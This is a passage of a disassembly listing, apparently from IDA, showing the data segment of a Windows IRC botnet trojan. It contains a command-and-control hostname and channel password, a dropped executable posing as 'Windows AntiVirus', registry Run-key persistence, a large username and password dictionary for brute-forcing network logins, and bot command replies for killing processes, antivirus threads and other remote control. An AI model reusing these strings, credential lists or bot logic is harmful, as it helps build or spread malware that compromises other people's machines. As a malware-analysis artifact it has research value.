dd 48287255h, 11D25E84h, 0D8C2Ah, 0E9753298h, 7781192Dh
dd 6F5C28AEh, 0AFh dup(0)
seg001 ends
; Section 3. (virtual address 0002A000)
; Virtual size : 000B6000 ( 745472.)
; Section size in file : 000B6000 ( 745472.)
; Offset to raw data for section: 0002A000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg002 segment para public 'CODE' use32
assume cs:seg002
;org 42A000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_42A000 dd 0 ; DATA XREF: sub_41B974+1Fo
dd offset loc_40121A
dd offset sub_40D6BA
dd offset sub_40D739
dd offset dword_40E8D4+1CEh
dd offset sub_4269D4
dword_42A018 dd 0 ; DATA XREF: sub_41B974+1Ao
dword_42A01C dd 0 ; DATA XREF: sub_41B974+10o
dd offset sub_41D242
dd offset sub_42048D
dd offset sub_42294B
dd offset sub_4249A2
dword_42A030 dd 0 ; DATA XREF: sub_41B974:loc_41B97Fo
dword_42A034 dd 0 ; DATA XREF: sub_41B9C3+65o
dd offset sub_4229F0
dword_42A03C dd 0 ; DATA XREF: sub_41B9C3:loc_41BA23o
dword_42A040 dd 0 ; DATA XREF: sub_41B9C3+76o
dd offset sub_4249B3
dword_42A048 dd 2 dup(0) ; DATA XREF: sub_41B9C3:loc_41BA34o
dword_42A050 dd 78h ; DATA XREF: seg000:0040107Br
dword_42A054 dd 80000002h ; DATA XREF: start+24r
off_42A058 dd offset aSoftwareMicr_0 ; DATA XREF: start+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000001h, 42A198h, 80000001h, 42A168h
dword_42A06C dd 6272h, 1B9h, 346h ; DATA XREF: seg000:004010CDo
; sub_40F3DD+24o
dword_42A078 dd 457h ; DATA XREF: seg000:loc_404653r
dword_42A07C dd 45h ; DATA XREF: seg000:00403AF3r
; seg000:0040B964r
dword_42A080 dd 7D1h ; DATA XREF: seg000:loc_403BDDr
; seg000:loc_40BD11r
dword_42A084 dd 201h ; DATA XREF: seg000:loc_403D52r
word_42A088 dw 7C7h ; DATA XREF: seg000:loc_404775r
align 4
dword_42A08C dd 1 ; DATA XREF: seg000:0040211Er
dd 1
dword_42A094 dd 1 ; DATA XREF: sub_41853D+Cr
byte_42A098 db 7Ah ; DATA XREF: seg000:00402541r
; seg000:004025FBr ...
align 4
dword_42A09C dd 5 ; DATA XREF: sub_40ABA1+39r
; sub_40ABA1+5Fr ...
dword_42A0A0 dd 4 ; DATA XREF: sub_401875+78r
; seg000:00401DB8r ...
dword_42A0A4 dd 1 ; DATA XREF: sub_401875+72r
; seg000:00401DB2r
aFenr db 'FEnR',0 ; DATA XREF: seg000:00401293o
; seg000:loc_404499o ...
align 10h
aFenr_0 db 'FEnR',0 ; DATA XREF: seg000:loc_40497Ao
align 4
a19736666386888 db '19736666386888',0 ; DATA XREF: seg000:004097A7o
; seg000:0040986Ao
align 4
aF_fenr_net db 'f.fenr.net',0
align 4
byte_42A0D4 db 31h ; DATA XREF: sub_4019DB+10r
; sub_4019DB+23o
a4771477 db '4771477',0
align 10h
aBo db '#Bo',0 ; DATA XREF: sub_4124AD:loc_4124C7o
; sub_4125C4:loc_4125DEo ...
aFuckoff db 'fuckoff',0
aIbmcvevvpwy_ex db 'ibmcvevvpwy.exe',0 ; DATA XREF: seg000:00403AE0o
; seg000:0040B987o ...
aWinnt99_bat db 'winnt99.bat',0 ; DATA XREF: sub_411D74+3Do
aWindowsAntivir db 'Windows AntiVirus oo',0 ; DATA XREF: start+Bo
align 10h
aLove db 'Love',0 ; DATA XREF: seg000:0040AC1Fo
align 4
aWinsys99_dat db 'winsys99.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: seg000:004098EAo
align 10h
aBo_0 db '#bo-',0 ; DATA XREF: seg000:004037B5o
; seg000:00404B5Fo ...
align 4
aBo_1 db '#bo-',0 ; DATA XREF: seg000:00405EB0o
align 10h
aFa db '#fa',0 ; DATA XREF: seg000:00405BAFo
; seg000:00405CFDo
off_42A154 dd offset a@fofo ; DATA XREF: seg000:0040980Ar
; "*@fofo"
off_42A158 dd offset aMircV6_16Khale ; DATA XREF: seg000:00402372r
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: seg002:off_42A058o
align 4
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A044+28o
; sub_41A36A+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A044+D4o
; sub_41A36A+D4o
align 4
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 8
dd offset dword_43FDB4
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_0 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_0 ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 8
dword_42A488 dd 10h ; DATA XREF: seg000:004025ABr
; seg000:004025D7r ...
aIntranet db 'intranet',0 ; DATA XREF: seg002:0042A474o
align 4
aLan db 'lan',0 ; DATA XREF: seg002:0042A46Co
aMain db 'main',0 ; DATA XREF: seg002:0042A468o
align 4
aWinpass db 'winpass',0 ; DATA XREF: seg002:0042A464o
aBlank db 'blank',0 ; DATA XREF: seg002:0042A460o
align 4
aOffice db 'office',0 ; DATA XREF: seg002:0042A45Co
align 4
aControl db 'control',0 ; DATA XREF: seg002:0042A458o
aXp db 'xp',0 ; DATA XREF: seg002:0042A454o
align 4
aNokia db 'nokia',0 ; DATA XREF: seg002:0042A450o
align 10h
aHp db 'hp',0 ; DATA XREF: seg002:0042A44Co
align 4
aSiemens db 'siemens',0 ; DATA XREF: seg002:0042A448o
aCompaq db 'compaq',0 ; DATA XREF: seg002:0042A444o
align 4
aDell db 'dell',0 ; DATA XREF: seg002:0042A440o
align 4
aCisco db 'cisco',0 ; DATA XREF: seg002:0042A43Co
align 4
aIbm db 'ibm',0 ; DATA XREF: seg002:0042A438o
aOrainstall db 'orainstall',0 ; DATA XREF: seg002:0042A430o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: seg002:0042A42Co
align 4
aSql db 'sql',0 ; DATA XREF: seg002:0042A428o
aSa db 'sa',0 ; DATA XREF: seg002:0042A424o
align 10h
aDb1234 db 'db1234',0 ; DATA XREF: seg002:0042A420o
align 4
aDb1 db 'db1',0 ; DATA XREF: seg002:0042A418o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: seg002:0042A414o
align 10h
aData db 'data',0 ; DATA XREF: seg002:0042A410o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: seg002:0042A40Co
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: seg002:0042A408o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: seg002:0042A404o
align 4
aAccess db 'access',0 ; DATA XREF: seg002:0042A400o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: seg002:0042A3F8o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: seg002:0042A3F4o
align 10h
aDomain db 'domain',0 ; DATA XREF: seg002:0042A3F0o
align 4
aHello db 'hello',0 ; DATA XREF: seg002:0042A3ECo
align 10h
aHell db 'hell',0 ; DATA XREF: seg002:0042A3E8o
align 4
aGod db 'god',0 ; DATA XREF: seg002:0042A3E4o
aSex db 'sex',0 ; DATA XREF: seg002:0042A3E0o
; seg002:off_43AB60o
aSlut db 'slut',0 ; DATA XREF: seg002:0042A3DCo
align 4
aBitch db 'bitch',0 ; DATA XREF: seg002:0042A3D8o
align 10h
aFuck db 'fuck',0 ; DATA XREF: seg002:0042A3D4o
align 4
aExchange db 'exchange',0 ; DATA XREF: seg002:0042A3D0o
align 4
aBackup db 'backup',0 ; DATA XREF: seg002:0042A3CCo
align 4
aTechnical db 'technical',0 ; DATA XREF: seg002:0042A3C8o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: seg002:0042A3C4o
align 4
aLogin db 'login',0 ; DATA XREF: seg002:0042A3C0o
align 4
aMary db 'mary',0 ; DATA XREF: seg002:0042A3BCo
align 4
aKatie db 'katie',0 ; DATA XREF: seg002:0042A3B8o
align 4
aKate db 'kate',0 ; DATA XREF: seg002:0042A3B0o
align 4
aGeorge db 'george',0 ; DATA XREF: seg002:0042A3ACo
align 4
aEric db 'eric',0 ; DATA XREF: seg002:0042A3A8o
align 4
aChris db 'chris',0 ; DATA XREF: seg002:0042A3A4o
align 4
aIan db 'ian',0 ; DATA XREF: seg002:0042A3A0o
aNeil db 'neil',0 ; DATA XREF: seg002:0042A39Co
align 4
aLee db 'lee',0 ; DATA XREF: seg002:0042A398o
aBrian db 'brian',0 ; DATA XREF: seg002:0042A394o
align 4
aSusan db 'susan',0 ; DATA XREF: seg002:0042A38Co
align 4
aSue db 'sue',0 ; DATA XREF: seg002:0042A388o
aSam db 'sam',0 ; DATA XREF: seg002:0042A384o
aLuke db 'luke',0 ; DATA XREF: seg002:0042A380o
align 4
aPeter db 'peter',0 ; DATA XREF: seg002:0042A37Co
; seg002:0042A390o
align 4
aJohn db 'john',0 ; DATA XREF: seg002:0042A378o
align 4
aMike db 'mike',0 ; DATA XREF: seg002:0042A374o
align 4
aBill db 'bill',0 ; DATA XREF: seg002:0042A370o
align 4
aFred db 'fred',0 ; DATA XREF: seg002:0042A36Co
align 4
aJoe db 'joe',0 ; DATA XREF: seg002:0042A368o
aJen db 'jen',0 ; DATA XREF: seg002:0042A364o
aBob db 'bob',0 ; DATA XREF: seg002:0042A360o
; seg002:0042A3B4o
aQwe db 'qwe',0 ; DATA XREF: seg002:0042A35Co
aZxc db 'zxc',0 ; DATA XREF: seg002:0042A358o
aAsd db 'asd',0 ; DATA XREF: seg002:0042A354o
aQaz db 'qaz',0 ; DATA XREF: seg002:0042A350o
aWin2000 db 'win2000',0 ; DATA XREF: seg002:0042A34Co
aWinnt db 'winnt',0 ; DATA XREF: seg002:0042A348o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: seg002:0042A344o
align 4
aWin2k db 'win2k',0 ; DATA XREF: seg002:0042A340o
align 10h
aWin98 db 'win98',0 ; DATA XREF: seg002:0042A33Co
align 4
aWindows db 'windows',0 ; DATA XREF: seg002:0042A338o
aOeminstall db 'oeminstall',0 ; DATA XREF: seg002:0042A334o
align 4
aOemuser db 'oemuser',0 ; DATA XREF: seg002:0042A330o
aOem db 'oem',0 ; DATA XREF: seg002:0042A32Co
aUser db 'user',0 ; DATA XREF: seg000:00406120o
; seg002:0042A328o
align 10h
aHomeuser db 'homeuser',0 ; DATA XREF: seg002:0042A324o
align 4
aHome db 'home',0 ; DATA XREF: seg002:0042A320o
align 4
aAccounting db 'accounting',0 ; DATA XREF: seg002:0042A31Co
align 10h
aAccounts db 'accounts',0 ; DATA XREF: seg002:0042A318o
align 4
aInternet db 'internet',0 ; DATA XREF: seg002:0042A314o
; seg002:0042A470o
align 4
aWww db 'www',0 ; DATA XREF: seg002:0042A310o
aWeb db 'web',0 ; DATA XREF: seg002:0042A30Co
aOutlook db 'outlook',0 ; DATA XREF: seg002:0042A308o
aMail db 'mail',0 ; DATA XREF: seg002:0042A304o
align 10h
aQwerty db 'qwerty',0 ; DATA XREF: seg002:0042A300o
align 4
aNull_1 db 'null',0 ; DATA XREF: seg002:0042A2FCo
align 10h
aServer_0 db 'server',0 ; DATA XREF: seg002:0042A2F4o
align 4
aSystem db 'system',0 ; DATA XREF: seg002:0042A2F0o
align 10h
aChangeme db 'changeme',0 ; DATA XREF: seg002:0042A2E8o
align 4
aLinux db 'linux',0 ; DATA XREF: seg002:0042A2E4o
align 4
aUnix db 'unix',0 ; DATA XREF: seg002:0042A2E0o
align 4
aDemo db 'demo',0 ; DATA XREF: seg002:0042A2DCo
align 4
aNone db 'none',0 ; DATA XREF: seg002:0042A2D8o
align 4
aTest db 'test',0 ; DATA XREF: seg002:0042A2D0o
align 4
a2004 db '2004',0 ; DATA XREF: seg002:0042A2CCo
align 4
a2003 db '2003',0 ; DATA XREF: sub_41AC18+BAo
; seg002:0042A2C8o
align 4
a2002 db '2002',0 ; DATA XREF: seg002:0042A2C4o
align 4
a2001 db '2001',0 ; DATA XREF: seg002:0042A2C0o
align 4
a2000 db '2000',0 ; DATA XREF: seg002:0042A2BCo
align 4
a1234567890 db '1234567890',0 ; DATA XREF: seg002:0042A2B8o
align 4
a123456789 db '123456789',0 ; DATA XREF: seg002:0042A2B4o
align 4
a12345678 db '12345678',0 ; DATA XREF: seg002:0042A2B0o
align 10h
a1234567 db '1234567',0 ; DATA XREF: seg002:0042A2ACo
a123456 db '123456',0 ; DATA XREF: seg002:0042A2A8o
align 10h
a12345 db '12345',0 ; DATA XREF: seg002:0042A2A4o
align 4
a1234 db '1234',0 ; DATA XREF: seg002:0042A2A0o
align 10h
a123 db '123',0 ; DATA XREF: seg002:0042A29Co
a12 db '12',0 ; DATA XREF: seg002:0042A298o
align 4
a1: ; DATA XREF: seg002:0042A294o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: seg002:0042A290o
aPwd db 'pwd',0 ; DATA XREF: seg002:0042A28Co
aPass_0 db 'pass',0 ; DATA XREF: seg002:0042A288o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: seg002:0042A284o
align 4
aPasswd db 'passwd',0 ; DATA XREF: seg002:0042A280o
align 10h
aPassword db 'password',0 ; DATA XREF: seg002:0042A27Co
align 4
aPassword1 db 'password1',0 ; DATA XREF: seg002:0042A278o
align 4
aAdm db 'adm',0 ; DATA XREF: seg002:0042A274o
aDb2 db 'db2',0 ; DATA XREF: seg002:0042A250o
; seg002:0042A41Co
aOracle db 'oracle',0 ; DATA XREF: seg002:0042A24Co
; seg002:0042A434o
align 4
aDba db 'dba',0 ; DATA XREF: seg002:0042A248o
aDatabase db 'database',0 ; DATA XREF: seg002:0042A244o
; seg002:0042A3FCo
align 4
aDefault db 'default',0 ; DATA XREF: seg002:0042A240o
; seg002:0042A2ECo
aGuest_0 db 'guest',0 ; DATA XREF: seg002:0042A23Co
; seg002:0042A2D4o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:0042A238o
align 4
aTeacher db 'teacher',0 ; DATA XREF: seg002:0042A234o
; seg002:0042A47Co
aStudent db 'student',0 ; DATA XREF: seg002:0042A230o
; seg002:0042A478o
aOwner db 'owner',0 ; DATA XREF: seg002:0042A22Co
align 4
aComputer db 'computer',0 ; DATA XREF: seg002:0042A228o
align 4
aRoot db 'root',0 ; DATA XREF: seg002:0042A224o
; seg002:0042A2F8o
align 10h
aStaff db 'staff',0 ; DATA XREF: seg002:0042A220o
; seg002:0042A480o
align 4
aAdmin db 'admin',0 ; DATA XREF: seg002:0042A21Co
; seg002:0042A270o
align 10h
aAdmins db 'admins',0 ; DATA XREF: seg002:0042A218o
; seg002:0042A26Co
align 4
aAdministrat db 'administrat',0 ; DATA XREF: seg002:0042A214o
; seg002:0042A268o
aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:0042A210o
; seg002:0042A264o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: seg002:0042A20Co
; seg002:0042A260o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:0042A208o
; seg002:0042A25Co
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A164o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A160o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A15Co
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_42A158o
align 4
a@fofo db '*@fofo',0 ; DATA XREF: seg002:off_42A154o
align 4
dd 234032Dh, 75636573h, 2036572h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65722074h, 74736967h, 74207972h
dd 61657268h, 65202C64h, 726F7272h, 253C203Ah, 2E3E64h
dd 234032Dh, 75636573h, 2036572h, 6552202Dh, 74736967h
dd 6D207972h, 74696E6Fh, 6120726Fh, 76697463h, 2E65h, 234032Dh
dd 75636573h, 2036572h, 6146202Dh, 64656C69h, 206F7420h
dd 72617473h, 65732074h, 65727563h, 72687420h, 2C646165h
dd 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 75636573h
dd 2036572h, 7953202Dh, 6D657473h, 63657320h, 20657275h
dd 696E6F6Dh, 20726F74h, 69746361h, 2E6576h, 234032Dh
dd 636F7270h, 2D020373h, 69614620h, 2064656Ch, 73206F74h
dd 74726174h, 2F564120h, 6B205746h, 656C6C69h, 68742072h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 636F7270h, 2D020373h, 2F564120h, 4B205746h, 656C6C69h
dd 63612072h, 65766974h, 2Eh, 234032Dh, 6E69616Dh, 202D0203h
dd 20746F42h, 72617473h, 2E646574h, 0
dd 25207325h, 25222064h, 2273h
dword_42AAE4 dd 255C7325h, 73h ; DATA XREF: sub_415B31+7Eo
dword_42AAEC dd 73257325h, 0 ; DATA XREF: sub_40FA29+E9o
; sub_40FCD8+4CFo ...
unk_42AAF4 db 2Dh ; - ; DATA XREF: sub_401875+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_4019DB+55o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_4019DB+28o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004098F2o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:004098DDo
align 4
unk_42AB5C db 2Dh ; - ; DATA XREF: seg000:004098C9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_42AB7C db 2Dh ; - ; DATA XREF: seg000:004098ACo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_42AB9C db 2Dh ; - ; DATA XREF: seg000:00409857o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: seg000:00409834o
align 10h
unk_42ABF0 db 2Dh ; - ; DATA XREF: seg000:004097EAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: seg000:004097DBo
; seg000:00409848o
align 4
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: seg000:004097C7o
align 10h
asc_42AC70: ; DATA XREF: seg000:00409797o
unicode 0, <~>,0
unk_42AC74 db 2Dh ; - ; DATA XREF: seg000:00409746o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
unk_42AC98 db 2Dh ; - ; DATA XREF: seg000:004096DCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 10h
unk_42ACC0 db 2Dh ; - ; DATA XREF: seg000:00409696o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_42ACE4 db 2Dh ; - ; DATA XREF: seg000:00409676o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_42AD08 db 2Dh ; - ; DATA XREF: seg000:00409659o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_42AD2C db 2Dh ; - ; DATA XREF: seg000:00409635o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 10h
dword_42AD50 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: seg000:00409618o
dd 2E732520h, 0
unk_42AD6C db 2Dh ; - ; DATA XREF: seg000:loc_4095A2o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_42AD98 db 2Dh ; - ; DATA XREF: seg000:0040959Bo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_42ADBC db 2Dh ; - ; DATA XREF: seg000:loc_40955Eo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_42ADE4 db 2Dh ; - ; DATA XREF: seg000:00409554o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: seg000:0040953Ao
unk_42AE10 db 2Dh ; - ; DATA XREF: seg000:00409430o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_42AE38 db 2Dh ; - ; DATA XREF: seg000:loc_409417o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_42AE5C db 2Dh ; - ; DATA XREF: seg000:0040940Do
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_42AE7C db 2Dh ; - ; DATA XREF: seg000:004093E0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_42AEA4 db 2Dh ; - ; DATA XREF: seg000:loc_4093C0o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_42AECC db 2Dh ; - ; DATA XREF: seg000:00409395o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_42AEEC db 2Dh ; - ; DATA XREF: seg000:loc_409358o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_42AF1C db 2Dh ; - ; DATA XREF: seg000:0040934Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_42AF3C db 2Dh ; - ; DATA XREF: seg000:loc_4092FAo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_42AF6C db 2Dh ; - ; DATA XREF: seg000:004092F3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
dword_42AF90 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: seg000:004092A8o
dd 27732527h, 2Eh
unk_42AFAC db 2Dh ; - ; DATA XREF: seg000:00409279o
db 3, 34h, 2
db 64h ; d
